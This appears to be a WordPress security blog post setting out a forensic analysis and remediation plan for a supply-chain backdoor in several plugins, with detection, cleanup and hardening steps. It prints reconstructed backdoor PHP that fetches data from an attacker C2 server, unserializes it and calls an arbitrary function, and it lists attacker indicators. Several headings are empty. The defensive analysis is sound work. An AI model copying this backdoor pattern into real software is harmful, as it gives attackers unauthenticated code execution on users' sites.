Remediation Plan Following a Supply Chain Attack

1. Retrospective and Forensic Analysis of the Infiltration Chain

1.1 Anatomy of Supply Chain Acquisition and Infiltration

1.2 Technical Dissection of the Dormant Backdoor (Version 2.6.7)

1. An unauthenticated REST API endpoint: Registered via register_rest_route(), this endpoint sets the access condition 'permission_callback' => '__return_true', making the API publicly accessible to any external attacker without any identity checks.
2. The fetch_ver_info() method : This function executes an HTTP network call via file_get_contents()to the attacker’s C2 server and directly forwards the raw response received to the PHP function @unserialize().
3. The version_info_clean() method : It invokes the instruction @$clean($this->version_cache, $this->changelog). Since the three variables ( $clean, $version_cache, $changelog) are directly extracted from the deserialized data array controlled by the remote server, the attacker has complete arbitrary function call capability . They can freely specify the name of the PHP function to execute as well as all of its arguments.

// Extrait reconstitué de la modification malveillante dans class-anylc-admin.php (v2.6.7)
public function fetch_ver_info() {
    // Appel réseau vers l'infrastructure contrôlée par l'attaquant
    $remote_data = @file_get_contents( $this->c2_endpoint );
    if ( $remote_data ) {
        // Désérialisation directe non sécurisée des données distantes
        $this->version_cache = @unserialize( $remote_data );
    }
}

public function version_info_clean() {
    if ( isset( $this->version_cache['clean'] ) ) {
        // Extraction de la fonction arbitraire et des arguments injectés
        $clean = $this->version_cache['clean'];
        // Exécution dynamique de la fonction arbitraire (RCE)
        @$clean( $this->version_cache['payload'], $this->changelog );
    }
}

// Enregistrement de la route REST non sécurisée
add_action( 'rest_api_init', function () {
    register_rest_route( 'wpos-analytics/v1', '/ver-info', array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'fetch_ver_info' ),
        'permission_callback' => '__return_true', // Porte ouverte non authentifiée
    ) );
} );

[Attaquant / Serveur C2]
       │
       │ (Requête HTTP vers endpoint REST API)
       ▼
[Route REST: wpos-analytics/v1/ver-info (permission_callback: __return_true)]
       │
       ▼
[fetch_ver_info()] ────► file_get_contents() ────► @unserialize()
                                                        │
                                                        ▼
[version_info_clean()] ◄────────────────── (Variables $clean, $version_cache, $changelog)
       │
       ▼
 Exec `@$clean($this->version_cache, $this->changelog)` ────► Exécution de code arbitraire (RCE)

1.3 C2 Payload, Infection and Resolution Mechanism via Smart Contractwp-config.php

• SEO Spam Generation and Redirects: The injected code dynamically downloads and serves spam links, invisible redirects, and fake landing pages.
• Cloaking Implementation: The payload is conditioned to present malicious content only to the indexing robot Googlebot(based on the User-Agent and Google’s IP address ranges). For human visitors and site administrators, the page displays in a completely normal manner, masking the infection.
• C2 Domain Resolution via Ethereum Smart Contract: To circumvent traditional domain takedown procedures (registrar takedowns or DNS blocking), the malicious code incorporates an Ethereum JSON-RPC client. Upon execution, the script sends a request eth_callto public Ethereum RPC nodes to read the value stored in a storage slot of a specific smart contract controlled by the attacker. This decoded value returns the IP address or active domain name of the Command & Control server. If a C2 infrastructure is compromised, the attacker simply submits a new transaction to the blockchain to update the contract value, instantly redirecting the entire compromised fleet to a new C2 server without modifying the code on the infected sites.

1.4 Forensic Linking with Similar Attacks

2. Forensic Protocol and Auditing of the Compromised Fleet

2.1 Comparative Analysis of Backups by Binary Search

2.2 Automated Detection Strategy at wp-config.phpScale

require_once ABSPATH . 'wp-settings.php'; /* [Code PHP malveillant injecté de ~6 Ko concaténé sur la même ligne] */

1. Direct reading of the raw file content wp-config.php.
2. Evaluation of the overall file size (triggering a priority alert if the size abnormally exceeds the 4 KB threshold for a standard configuration).
3. Regular expression (regex) analysis of the line containing the string, wp-settings.phpsearching for hidden character strings or execution functions following the semicolon.
4. Immediate reporting of the URL and infection status to the centralized MainWP dashboard for operational quarantine.

2.3 Audit of Privileges and Inventory of Residual Artifacts

• Primary Indicators (April 2026 Campaign – Essential Plugin): Presence of malicious file wp-comments-posts.php, single-line injection of ~6 KB into wp-config.php, requests to analytics.essentialplugin.comand JSON-RPC Ethereum requests.
• Historical Cross-Checks (June 2024 Campaign – Social Warfare): As an additional check against the overlap of previous supply chain attacks, response teams must check for the absence of unauthorized administrator accounts ( PluginAuth, Options) and validate the absence of requests to the historical exfiltration IP address 94.156.79.8.

• User Account Inspection: Full scan of the table wp_usersto identify any undocumented creation of high-privilege accounts (cross-check of identifiers PluginAuthand Options).
• File System Inspection:
  • Searching for the malicious boot file wp-comments-posts.phpin the root directory or in the directory /wp-content/plugins/.
  • Auditing system extension directories ( mu-plugins/) and direct rendering files ( drop-ins ).
  • Detection of hijacked extensions to conceal other persistence modules (such as the fraudulent use of wp code liteto hide malicious snippets).
• Third-Party Database Table Audit: Inspection of tables generated by analysis extensions (e.g., the table wp_matomo_user), where malicious administrator creation can replicate without the knowledge of native WordPress control mechanisms.

3. Operational Procedure for Remediation, Cleanup and Reconstruction

3.1 Limitations and Shortcomings of the Official Fixes (WordPress.org v2.6.9.1)

• Action of the official patch: The update was limited to inserting instructions return;at the beginning of the module functions wpos-analyticsand commenting out the backdoor execution line ( @$clean()).
• Critical flaw: This fix leaves the entire malicious directory wpos-analytics/intact on the server. Even more serious, the official patch does absolutely nothing to clean up the malicious payload injected into wp-config.php .

3.2 Custom Patching Protocol and Malicious Module Removal

1. Malicious Directory Removal: Delete the entire folder wpos-analytics/located inside the extension directory.
2. Purge the PHP Loader: Edit the main PHP file of the extension and remove the load function block (search for markers "Plugin Wpos Analytics Data Starts"or calls wpos_analytics_anl).
3. Modifying the Version Header Suffix: Edit the header of the main file to add the suffix to -patchedthe version number (e.g., ` .suffix 2.6.9.1-patched…
4. Forced Recompression and Reinstallation via WP-CLI: Recompress the extension in ZIP format and apply the forced installation to the fleet sites.

# Countdown Timer Ultimate
wp plugin install https://plugins.captaincore.io/countdown-timer-ultimate-2.6.9.1-patched.zip --force

# Popup Anything on Click
wp plugin install https://plugins.captaincore.io/popup-anything-on-click-2.9.1.1-patched.zip --force

# WP Testimonial with Widget
wp plugin install https://plugins.captaincore.io/wp-testimonial-with-widget-3.5.1-patched.zip --force

# WP Team Showcase and Slider
wp plugin install https://plugins.captaincore.io/wp-team-showcase-and-slider-2.8.6.1-patched.zip --force

# Responsive WP FAQ with Category (sp-faq)
wp plugin install https://plugins.captaincore.io/sp-faq-3.9.5.1-patched.zip --force

# Timeline and History Slider
wp plugin install https://plugins.captaincore.io/timeline-and-history-slider-2.4.5.1-patched.zip --force

# Album and Image Gallery Plus Lightbox
wp plugin install https://plugins.captaincore.io/album-and-image-gallery-plus-lightbox-2.1.8.1-patched.zip --force

# SP News And Widget
wp plugin install https://plugins.captaincore.io/sp-news-and-widget-5.0.6-patched.zip --force

# WP Blog and Widgets
wp plugin install https://plugins.captaincore.io/wp-blog-and-widgets-2.6.6.1-patched.zip --force

# Featured Post Creative
wp plugin install https://plugins.captaincore.io/featured-post-creative-1.5.7-patched.zip --force

# Post Grid and Filter Ultimate
wp plugin install https://plugins.captaincore.io/post-grid-and-filter-ultimate-1.7.4-patched.zip --force

3.3 System File Purge and Hardeningwp-config.php

1. Malicious Block Removal: Edit the file wp-config.phpand remove the entire ~6KB malicious PHP code located immediately after the instruction require_once ABSPATH . 'wp-settings.php';. Ensure that the file ends strictly with legitimate configuration instructions.
2. Purge Malicious Files on Disk: Delete the file wp-comments-posts.phpat the root of the installation or in the extension directories.
3. Post-Cleaning Integrity Check:
   • Re-run the script mainwp-detect-wpos-analytics-wp-config-compromise.phpto confirm that the file size wp-config.phphas fallen below the 3500 byte threshold.
   • Verify the integrity of the WordPress core files using the command wp core verify-checksums.
4. System Permission Hardening (Mandate): Once the file wp-config.phpis cleaned, immediately lock its permissions at the file system level by assigning it strict read-only rights ( chmod 0440or chmod 0400according to the hosting provider’s execution model). This lock prevents web server processes (e.g., `sudo` www-dataor `sudo` nginx) from modifying or re-infecting the file in the event of a re-attack attempt.

4. Strategic Hardening, Governance and Prevention

4.1 Mitigation of Risks Related to the Software Supply Chain

• Vendor Base Limitation: Implement a strict policy to streamline the number of extensions and third-party vendors allowed on the fleet. Each additional extension represents a potential attack vector.
• Auditing Ownership Changes: Implement monitoring of the ownership of used extensions. Any change of publisher, SVN committer account name, or maintenance structure should block the automatic application of updates until a code review is performed.
• Dependency Mapping (SBOM – Software Bill of Materials): Maintain a dynamic inventory of extensions, underlying software libraries and their respective authors across the fleet.

4.2 Continuous Monitoring Matrix and Administration Guidelines

About Julio Potier All of Julio Potier's posts

Creator of SecuPress, Julio is also lead organisator of WordCamp Lille.
Compulsive speaker, Senior Trainer and WordPress Engineer, he's a specialist in security since 2002 and contribute to WordPress various ways.